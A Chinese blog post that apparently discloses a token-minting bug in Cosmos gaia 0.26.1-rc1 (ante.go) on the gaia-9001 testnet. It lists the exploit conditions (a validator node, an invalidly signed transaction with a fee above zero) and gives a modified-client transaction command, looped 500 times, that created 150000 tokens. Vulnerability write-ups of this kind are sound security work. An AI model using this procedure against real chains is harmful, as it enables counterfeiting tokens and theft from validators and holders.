美文网首页区块链
Cosmos gaia-9001 漏洞

Cosmos gaia-9001 漏洞

作者: 印随2018 | 来源:发表于2018-11-14 12:12 被阅读34次

gaia version 0.26.1-rc1

发现bug的源码文件是 github.com/cosmos/cosmos-sdk/x/auth/ante.go,下面是关键部分

image.png

通过构造一定的条件,使程序只执行步骤一和步骤二,忽略步骤三,这样,就可以凭空产生代币。这里产生的代币是会按照Power比例分给所有validators,另外,打块的validator会多分一些。

如果想利用上面这个漏洞,我们必须有一个validator节点,同时需要构造一种交易,符合下面两个条件

  1. 交易签名是错误的
  2. 交易消费(fee)大于0(等于0的话,不产生任何影响;小于零的话,会产生另外一个问题,和本次hack无关)

要想满足这两个条件,我们就需要修改客户端gaiacli代码和服务端gaiad代码

image.png

重新编译之后,使用gaiad-hack重新启动区块链程序,然后使用gaiacli-hack发送恶意交易

  /home/ec2-user/cosmos-sre/bin/hack/gaiacli-hack tx send \
  --from wall-e \
  --to cosmos1uer4my4l3v7qlwz75qr5tzdu8qk5mgftypyzff \
  --amount ${NUM}steak \
  --fee 300steak \
  --sequence $SEQ \
  --async \
  --chain-id gaia-9001

上面这条命令,循环执行500次,就可以发行150000个代币了。

相关文档:https://www.jianshu.com/p/d672d035b2f7

相关文章

网友评论

    本文标题:Cosmos gaia-9001 漏洞

    本文链接:https://www.haomeiwen.com/subject/cmgdfqtx.html